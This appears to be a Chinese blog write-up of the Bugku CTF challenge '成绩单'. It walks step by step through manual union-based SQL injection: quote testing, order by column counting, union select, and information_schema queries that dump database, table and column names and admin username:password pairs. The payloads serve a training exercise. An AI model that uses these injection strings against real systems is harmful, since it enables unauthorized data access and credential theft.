bugku 成绩单

首先打开链接:http://123.206.87.240:8002/chengjidan/index.php

第一步 查看一下源码看看有什么信息           并没有发现什么有用的东西,看到表单类型,猜测一下可能是sql注入

第二步 使用火狐浏览器的hackbar中的post请求

            先进行判断输入id=1回复正常id=1'发现不正常

            然后加上#(#是注释的意思)然后又恢复正常

第三步 数据库查询用order by  构造进行查询 id=1' order by 5#发现页面回复错误

            然后换一个数id=1' order by 4 # 发现页面回复正常 判断有四个列

第四步 然后进行联合查询union select 1,2,3,4#(联合查询之前记得把前边的id滞空就是改写id=0‘或者id=‘,就是先执行id=1 然后在执行union select1,2,3,4#如果前面id=1是对的那麽union select 就不能执行)

第五步 开始猜解数据库名, 数据库的用户,数据库的版本(没有顺序,把1留出来只是因为表单看起来顺眼而已....)

第六步 根据数据库skctf_flag去查询表名

union select 手工注入

mysql中的information_schema 结构用来存储数据库系统信息 
information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。  
 
SCHEMATA 存储数据库名的, 
关键字段:SCHEMA_NAME,表示数据库名称 
TABLES 存储表名的 
关键字段:TABLE_SCHEMA表示表所属的数据库名称; 
TABLE_NAME表示表的名称 
COLUMNS 存储字段名的 
关键字段:TABLE_SCHEMA表示表所属的数据库名称; 
TABLE_NAME表示所属的表的名称 
COLUMN_NAME表示字段名 
 
 
爆所有数据名 
select group_concat(SCHEMA_NAME) from information_schema.schemata 
得到当前库的所有表 
select group_concat(table_name) from information_schema.tables where table_schema=database() 
得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572 
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572 
得到字段具体的值     select group_concat(username,0x3a,password) from adminuser
 
第七步 根据fl4g,sc表去查询列名
得到字段skctf_flag,即为列名
第八步 获取数据
参考资料:https://www.cnblogs.com/0yst3r-2046/p/10756453.html
posted on 2020-02-09 00:19  ainv  阅读(211)  评论(0编辑  收藏  举报